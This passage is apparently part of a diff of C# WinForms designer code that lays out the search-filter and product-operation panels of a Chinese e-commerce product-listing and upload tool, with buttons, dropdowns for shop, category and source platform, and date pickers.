this.splitContainer1.Panel1.Controls.Add(this.groupBox1); + this.splitContainer1.Panel1.Controls.Add(this.groupBox14); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1264, 471); + this.splitContainer1.SplitterDistance = 135; + this.splitContainer1.TabIndex = 0; + // + // btnToUpload + // + this.btnToUpload.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnToUpload.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnToUpload.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnToUpload.Location = new System.Drawing.Point(1180, 4); + this.btnToUpload.Name = "btnToUpload"; + this.btnToUpload.Size = new System.Drawing.Size(80, 23); + this.btnToUpload.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnToUpload.TabIndex = 5; + this.btnToUpload.Text = "上货界面"; + this.btnToUpload.ThemeAware = true; + this.btnToUpload.Click += new System.EventHandler(this.btnToUpload_Click); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.btnMulitEdit); + this.groupBox1.Controls.Add(this.btnSearchFission); + this.groupBox1.Controls.Add(this.btnAddFissToUpload); + this.groupBox1.Controls.Add(this.btnEditCheckUpdate); + this.groupBox1.Controls.Add(this.btnCheckUpProduct); + this.groupBox1.Controls.Add(this.btnDeleteSelect); + this.groupBox1.Controls.Add(this.btnClearList); + this.groupBox1.Controls.Add(this.btnClearParams); + this.groupBox1.Location = new System.Drawing.Point(715, 2); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(314, 132); + this.groupBox1.TabIndex = 2; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "产品数据操作"; + // + // btnMulitEdit + // + this.btnMulitEdit.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnMulitEdit.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnMulitEdit.Location = new System.Drawing.Point(23, 27); + this.btnMulitEdit.Name = "btnMulitEdit"; + this.btnMulitEdit.Size = new System.Drawing.Size(80, 23); + this.btnMulitEdit.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnMulitEdit.TabIndex = 69; + this.btnMulitEdit.Text = "审核勾选"; + this.btnMulitEdit.TextColor = System.Drawing.Color.White; + this.btnMulitEdit.ThemeAware = true; + this.btnMulitEdit.Click += new System.EventHandler(this.btnMulitEdit_Click); + // + // btnSearchFission + // + this.btnSearchFission.CanvasColor = System.Drawing.SystemColors.Control; + this.btnSearchFission.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSearchFission.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSearchFission.Location = new System.Drawing.Point(23, 92); + this.btnSearchFission.Name = "btnSearchFission"; + this.btnSearchFission.Size = new System.Drawing.Size(80, 23); + this.btnSearchFission.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearchFission.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSearchFission.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnSearchFission.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnSearchFission.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearchFission.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnSearchFission.Style.GradientAngle = 90; + this.btnSearchFission.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearchFission.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSearchFission.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearchFission.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSearchFission.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnSearchFission.TabIndex = 62; + this.btnSearchFission.Text = "开始搜索"; + this.btnSearchFission.Click += new System.EventHandler(this.btnSearchFission_Click); + // + // btnAddFissToUpload + // + this.btnAddFissToUpload.CanvasColor = System.Drawing.SystemColors.Control; + this.btnAddFissToUpload.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnAddFissToUpload.DisabledBackColor = System.Drawing.Color.Empty; + this.btnAddFissToUpload.Location = new System.Drawing.Point(119, 92); + this.btnAddFissToUpload.Name = "btnAddFissToUpload"; + this.btnAddFissToUpload.Size = new System.Drawing.Size(176, 23); + this.btnAddFissToUpload.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnAddFissToUpload.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnAddFissToUpload.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnAddFissToUpload.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.btnAddFissToUpload.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAddFissToUpload.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.btnAddFissToUpload.Style.GradientAngle = 90; + this.btnAddFissToUpload.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.btnAddFissToUpload.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnAddFissToUpload.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAddFissToUpload.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAddFissToUpload.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnAddFissToUpload.TabIndex = 58; + this.btnAddFissToUpload.Text = "添加勾选到上传"; + this.btnAddFissToUpload.Click += new System.EventHandler(this.btnAddFissToUpload_Click); + // + // btnEditCheckUpdate + // + this.btnEditCheckUpdate.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnEditCheckUpdate.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(185)))), ((int)(((byte)(215)))), ((int)(((byte)(255))))); + this.btnEditCheckUpdate.Location = new System.Drawing.Point(215, 27); + this.btnEditCheckUpdate.Name = "btnEditCheckUpdate"; + this.btnEditCheckUpdate.Size = new System.Drawing.Size(80, 23); + this.btnEditCheckUpdate.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnEditCheckUpdate.TabIndex = 10; + this.btnEditCheckUpdate.Text = "批量更新校验"; + this.btnEditCheckUpdate.ThemeAware = true; + this.btnEditCheckUpdate.Click += new System.EventHandler(this.btnEditCheckUpdate_Click); + // + // btnCheckUpProduct + // + this.btnCheckUpProduct.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnCheckUpProduct.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCheckUpProduct.Location = new System.Drawing.Point(119, 27); + this.btnCheckUpProduct.Name = "btnCheckUpProduct"; + this.btnCheckUpProduct.Size = new System.Drawing.Size(80, 23); + this.btnCheckUpProduct.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnCheckUpProduct.TabIndex = 8; + this.btnCheckUpProduct.Text = "校验勾选"; + this.btnCheckUpProduct.TextColor = System.Drawing.Color.White; + this.btnCheckUpProduct.ThemeAware = true; + this.btnCheckUpProduct.Click += new System.EventHandler(this.btnCheckUpProduct_Click); + // + // btnDeleteSelect + // + this.btnDeleteSelect.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnDeleteSelect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDeleteSelect.ColorTable = DevComponents.DotNetBar.eButtonColor.OrangeWithBackground; + this.btnDeleteSelect.Location = new System.Drawing.Point(23, 60); + this.btnDeleteSelect.Name = "btnDeleteSelect"; + this.btnDeleteSelect.Size = new System.Drawing.Size(80, 23); + this.btnDeleteSelect.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnDeleteSelect.TabIndex = 3; + this.btnDeleteSelect.Text = "删除勾选"; + this.btnDeleteSelect.TextColor = System.Drawing.Color.White; + this.btnDeleteSelect.ThemeAware = true; + this.btnDeleteSelect.Click += new System.EventHandler(this.btnDeleteSelect_Click); + // + // btnClearList + // + this.btnClearList.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnClearList.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClearList.Location = new System.Drawing.Point(215, 60); + this.btnClearList.Name = "btnClearList"; + this.btnClearList.Size = new System.Drawing.Size(80, 23); + this.btnClearList.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnClearList.TabIndex = 1; + this.btnClearList.Text = "清空列表"; + this.btnClearList.TextColor = System.Drawing.Color.White; + this.btnClearList.ThemeAware = true; + this.btnClearList.Click += new System.EventHandler(this.btnClearList_Click); + // + // btnClearParams + // + this.btnClearParams.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnClearParams.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClearParams.Location = new System.Drawing.Point(119, 60); + this.btnClearParams.Name = "btnClearParams"; + this.btnClearParams.Size = new System.Drawing.Size(80, 23); + this.btnClearParams.Style = DevComponents.DotNetBar.eDotNetBarStyle.OfficeXP; + this.btnClearParams.TabIndex = 0; + this.btnClearParams.Text = "还原参数"; + this.btnClearParams.TextColor = System.Drawing.Color.White; + this.btnClearParams.ThemeAware = true; + this.btnClearParams.Click += new System.EventHandler(this.btnClearParams_Click); + // + // groupBox14 + // + this.groupBox14.Controls.Add(this.txtMaxTimes); + this.groupBox14.Controls.Add(this.label5); + this.groupBox14.Controls.Add(this.txtMinTimes); + this.groupBox14.Controls.Add(this.labelX4); + this.groupBox14.Controls.Add(this.label6); + this.groupBox14.Controls.Add(this.cmbCheckResult); + this.groupBox14.Controls.Add(this.cmbCat1); + this.groupBox14.Controls.Add(this.labelX3); + this.groupBox14.Controls.Add(this.labelX2); + this.groupBox14.Controls.Add(this.pnlDelCate); + this.groupBox14.Controls.Add(this.cmbGroup); + this.groupBox14.Controls.Add(this.labelX1); + this.groupBox14.Controls.Add(this.cmbShopCat3); + this.groupBox14.Controls.Add(this.cmbShopCat2); + this.groupBox14.Controls.Add(this.cmbShopCat1); + this.groupBox14.Controls.Add(this.cmbShop); + this.groupBox14.Controls.Add(this.lblShop); + this.groupBox14.Controls.Add(this.dtEndTime); + this.groupBox14.Controls.Add(this.dtBaginTime); + this.groupBox14.Controls.Add(this.cmbSource); + this.groupBox14.Controls.Add(this.labelX45); + this.groupBox14.Controls.Add(this.labelX47); + this.groupBox14.Controls.Add(this.txtFisssionTitle); + this.groupBox14.Controls.Add(this.labelX23); + this.groupBox14.Controls.Add(this.txtSaleAmountMax); + this.groupBox14.Controls.Add(this.label16); + this.groupBox14.Controls.Add(this.txtSaleAmountMin); + this.groupBox14.Controls.Add(this.label19); + this.groupBox14.Controls.Add(this.txtPriceMax); + this.groupBox14.Controls.Add(this.txtPriceMin); + this.groupBox14.Controls.Add(this.labelX24); + this.groupBox14.Controls.Add(this.labelX25); + this.groupBox14.Controls.Add(this.label1); + this.groupBox14.Controls.Add(this.label2); + this.groupBox14.Controls.Add(this.label3); + this.groupBox14.Controls.Add(this.label15); + this.groupBox14.Controls.Add(this.label20); + this.groupBox14.Controls.Add(this.label4); + this.groupBox14.Location = new System.Drawing.Point(4, 2); + this.groupBox14.Name = "groupBox14"; + this.groupBox14.Size = new System.Drawing.Size(705, 132); + this.groupBox14.TabIndex = 1; + this.groupBox14.TabStop = false; + this.groupBox14.Text = "搜索参数设置"; + // + // txtMaxTimes + // + // + // + // + this.txtMaxTimes.Border.Class = "TextBoxBorder"; + this.txtMaxTimes.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtMaxTimes.Location = new System.Drawing.Point(105, 75); + this.txtMaxTimes.Name = "txtMaxTimes"; + this.txtMaxTimes.PreventEnterBeep = true; + this.txtMaxTimes.Size = new System.Drawing.Size(46, 23); + this.txtMaxTimes.TabIndex = 67; + this.txtMaxTimes.Text = "99999"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(150, 78); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(20, 17); + this.label5.TabIndex = 69; + this.label5.Text = "次"; + // + // txtMinTimes + // + // + // + // + this.txtMinTimes.Border.Class = "TextBoxBorder"; + this.txtMinTimes.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtMinTimes.Location = new System.Drawing.Point(62, 75); + this.txtMinTimes.Name = "txtMinTimes"; + this.txtMinTimes.PreventEnterBeep = true; + this.txtMinTimes.Size = new System.Drawing.Size(33, 23); + this.txtMinTimes.TabIndex = 66; + this.txtMinTimes.Text = "0"; + // + // labelX4 + // + // + // + // + this.labelX4.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX4.Location = new System.Drawing.Point(8, 75); + this.labelX4.Name = "labelX4"; + this.labelX4.Size = new System.Drawing.Size(56, 23); + this.labelX4.TabIndex = 68; + this.labelX4.Text = "使用次数"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(94, 78); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(13, 17); + this.label6.TabIndex = 70; + this.label6.Text = "-"; + // + // cmbCheckResult + // + this.cmbCheckResult.DisplayMember = "Text"; + this.cmbCheckResult.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCheckResult.FormattingEnabled = true; + this.cmbCheckResult.ItemHeight = 18; + this.cmbCheckResult.Items.AddRange(new object[] { + this.cbiAllCheckResult, + this.cbiNeedUpdate, + this.cbiNeedDelete}); + this.cmbCheckResult.Location = new System.Drawing.Point(62, 102); + this.cmbCheckResult.Name = "cmbCheckResult"; + this.cmbCheckResult.Size = new System.Drawing.Size(106, 24); + this.cmbCheckResult.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCheckResult.TabIndex = 61; + // + // cbiAllCheckResult + // + this.cbiAllCheckResult.Text = "不限"; + // + // cbiNeedUpdate + // + this.cbiNeedUpdate.Text = "需更新商品"; + // + // cbiNeedDelete + // + this.cbiNeedDelete.Text = "上家下架"; + // + // cmbCat1 + // + this.cmbCat1.DisplayMember = "Text"; + this.cmbCat1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCat1.FormattingEnabled = true; + this.cmbCat1.ItemHeight = 18; + this.cmbCat1.Location = new System.Drawing.Point(240, 74); + this.cmbCat1.Name = "cmbCat1"; + this.cmbCat1.Size = new System.Drawing.Size(220, 24); + this.cmbCat1.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCat1.TabIndex = 52; + this.cmbCat1.SelectedIndexChanged += new System.EventHandler(this.cmbCat1_SelectedIndexChanged); + // + // labelX3 + // + this.labelX3.AutoSize = true; + // + // + // + this.labelX3.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX3.Location = new System.Drawing.Point(8, 104); + this.labelX3.Name = "labelX3"; + this.labelX3.Size = new System.Drawing.Size(56, 20); + this.labelX3.TabIndex = 62; + this.labelX3.Text = "校验结果"; + // + // labelX2 + // + // + // + // + this.labelX2.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX2.Location = new System.Drawing.Point(198, 75); + this.labelX2.Name = "labelX2"; + this.labelX2.Size = new System.Drawing.Size(43, 23); + this.labelX2.TabIndex = 53; + this.labelX2.Text = "主分类"; + // + // pnlDelCate + // + this.pnlDelCate.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlDelCate.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlDelCate.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlDelCate.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlDelCate.Location = new System.Drawing.Point(427, 49); + this.pnlDelCate.Name = "pnlDelCate"; + this.pnlDelCate.Padding = new System.Windows.Forms.Padding(0, 0, 0, 1); + this.pnlDelCate.Size = new System.Drawing.Size(15, 18); + this.pnlDelCate.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlDelCate.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlDelCate.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlDelCate.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlDelCate.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(91)))), ((int)(((byte)(107)))), ((int)(((byte)(147))))); + this.pnlDelCate.Style.GradientAngle = 90; + this.pnlDelCate.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlDelCate.StyleMouseDown.BackColor1.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(227)))), ((int)(((byte)(239)))), ((int)(((byte)(255))))); + this.pnlDelCate.StyleMouseDown.BackColor2.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(175)))), ((int)(((byte)(210)))), ((int)(((byte)(255))))); + this.pnlDelCate.StyleMouseDown.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlDelCate.StyleMouseDown.BorderColor.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseDown.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(147)))), ((int)(((byte)(207))))); + this.pnlDelCate.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlDelCate.StyleMouseOver.BackColor1.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(227)))), ((int)(((byte)(239)))), ((int)(((byte)(255))))); + this.pnlDelCate.StyleMouseOver.BackColor2.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(175)))), ((int)(((byte)(210)))), ((int)(((byte)(255))))); + this.pnlDelCate.StyleMouseOver.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlDelCate.StyleMouseOver.BorderColor.Alpha = ((byte)(128)); + this.pnlDelCate.StyleMouseOver.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(147)))), ((int)(((byte)(207))))); + this.pnlDelCate.TabIndex = 48; + this.pnlDelCate.Text = "x"; + this.pnlDelCate.Click += new System.EventHandler(this.pnlDelCate_Click); + // + // cmbGroup + // + this.cmbGroup.DisplayMember = "Text"; + this.cmbGroup.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbGroup.FormattingEnabled = true; + this.cmbGroup.ItemHeight = 18; + this.cmbGroup.Location = new System.Drawing.Point(366, 46); + this.cmbGroup.Name = "cmbGroup"; + this.cmbGroup.Size = new System.Drawing.Size(94, 24); + this.cmbGroup.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbGroup.TabIndex = 43; + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Location = new System.Drawing.Point(335, 47); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(30, 23); + this.labelX1.TabIndex = 44; + this.labelX1.Text = "分组"; + // + // cmbShopCat3 + // + this.cmbShopCat3.DisplayMember = "Text"; + this.cmbShopCat3.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShopCat3.FormattingEnabled = true; + this.cmbShopCat3.ItemHeight = 18; + this.cmbShopCat3.Location = new System.Drawing.Point(510, 102); + this.cmbShopCat3.Name = "cmbShopCat3"; + this.cmbShopCat3.Size = new System.Drawing.Size(170, 24); + this.cmbShopCat3.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbShopCat3.TabIndex = 11; + this.cmbShopCat3.SelectedIndexChanged += new System.EventHandler(this.cmbShopCat3_SelectedIndexChanged); + // + // cmbShopCat2 + // + this.cmbShopCat2.DisplayMember = "Text"; + this.cmbShopCat2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShopCat2.FormattingEnabled = true; + this.cmbShopCat2.ItemHeight = 18; + this.cmbShopCat2.Location = new System.Drawing.Point(510, 74); + this.cmbShopCat2.Name = "cmbShopCat2"; + this.cmbShopCat2.Size = new System.Drawing.Size(170, 24); + this.cmbShopCat2.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbShopCat2.TabIndex = 10; + this.cmbShopCat2.SelectedIndexChanged += new System.EventHandler(this.cmbShopCat2_SelectedIndexChanged); + // + // cmbShopCat1 + // + this.cmbShopCat1.DisplayMember = "Text"; + this.cmbShopCat1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShopCat1.FormattingEnabled = true; + this.cmbShopCat1.ItemHeight = 18; + this.cmbShopCat1.Location = new System.Drawing.Point(510, 46); + this.cmbShopCat1.Name = "cmbShopCat1"; + this.cmbShopCat1.Size = new System.Drawing.Size(170, 24); + this.cmbShopCat1.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbShopCat1.TabIndex = 9; + this.cmbShopCat1.SelectedIndexChanged += new System.EventHandler(this.cmbShopCat1_SelectedIndexChanged); + // + // cmbShop + // + this.cmbShop.DisplayMember = "Text"; + this.cmbShop.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShop.FormattingEnabled = true; + this.cmbShop.ItemHeight = 18; + this.cmbShop.Location = new System.Drawing.Point(510, 18); + this.cmbShop.Name = "cmbShop"; + this.cmbShop.Size = new System.Drawing.Size(170, 24); + this.cmbShop.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbShop.TabIndex = 8; + this.cmbShop.SelectedIndexChanged += new System.EventHandler(this.cboxShop_SelectedIndexChanged); + // + // lblShop + // + this.lblShop.AutoSize = true; + this.lblShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblShop.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblShop.ForeColor = System.Drawing.Color.Blue; + this.lblShop.Location = new System.Drawing.Point(475, 24); + this.lblShop.Name = "lblShop"; + this.lblShop.Size = new System.Drawing.Size(41, 12); + this.lblShop.TabIndex = 33; + this.lblShop.Text = "店铺:"; + // + // dtEndTime + // + // + // + // + this.dtEndTime.BackgroundStyle.Class = "DateTimeInputBackground"; + this.dtEndTime.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.ButtonDropDown.Shortcut = DevComponents.DotNetBar.eShortcut.AltDown; + this.dtEndTime.ButtonDropDown.Visible = true; + this.dtEndTime.IsPopupCalendarOpen = false; + this.dtEndTime.Location = new System.Drawing.Point(355, 103); + // + // + // + // + // + // + this.dtEndTime.MonthCalendar.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.CalendarDimensions = new System.Drawing.Size(1, 1); + this.dtEndTime.MonthCalendar.ClearButtonVisible = true; + // + // + // + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground2; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColorGradientAngle = 90; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTopColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarDockedBorder; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.BorderTopWidth = 1; + this.dtEndTime.MonthCalendar.CommandsBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.DisplayMonth = new System.DateTime(2019, 3, 1, 0, 0, 0, 0); + // + // + // + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColorGradientAngle = 90; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.dtEndTime.MonthCalendar.NavigationBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtEndTime.MonthCalendar.TodayButtonVisible = true; + this.dtEndTime.Name = "dtEndTime"; + this.dtEndTime.Size = new System.Drawing.Size(105, 23); + this.dtEndTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.dtEndTime.TabIndex = 7; + // + // dtBaginTime + // + // + // + // + this.dtBaginTime.BackgroundStyle.Class = "DateTimeInputBackground"; + this.dtBaginTime.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.ButtonDropDown.Shortcut = DevComponents.DotNetBar.eShortcut.AltDown; + this.dtBaginTime.ButtonDropDown.Visible = true; + this.dtBaginTime.IsPopupCalendarOpen = false; + this.dtBaginTime.Location = new System.Drawing.Point(240, 103); + // + // + // + // + // + // + this.dtBaginTime.MonthCalendar.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.CalendarDimensions = new System.Drawing.Size(1, 1); + this.dtBaginTime.MonthCalendar.ClearButtonVisible = true; + // + // + // + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground2; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColorGradientAngle = 90; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarBackground; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTopColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.BarDockedBorder; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.BorderTopWidth = 1; + this.dtBaginTime.MonthCalendar.CommandsBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.DisplayMonth = new System.DateTime(2019, 3, 1, 0, 0, 0, 0); + // + // + // + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColor2SchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColorGradientAngle = 90; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.BackColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.dtBaginTime.MonthCalendar.NavigationBackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.dtBaginTime.MonthCalendar.TodayButtonVisible = true; + this.dtBaginTime.Name = "dtBaginTime"; + this.dtBaginTime.Size = new System.Drawing.Size(105, 23); + this.dtBaginTime.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.dtBaginTime.TabIndex = 6; + // + // cmbSource + // + this.cmbSource.DisplayMember = "Text"; + this.cmbSource.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbSource.FormattingEnabled = true; + this.cmbSource.ItemHeight = 18; + this.cmbSource.Items.AddRange(new object[] { + this.cbiAll, + this.cbiTaobao, + this.cbiPingdd, + this.cbi1688, + this.cbiDy}); + this.cmbSource.Location = new System.Drawing.Point(240, 46); + this.cmbSource.Name = "cmbSource"; + this.cmbSource.Size = new System.Drawing.Size(90, 24); + this.cmbSource.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + 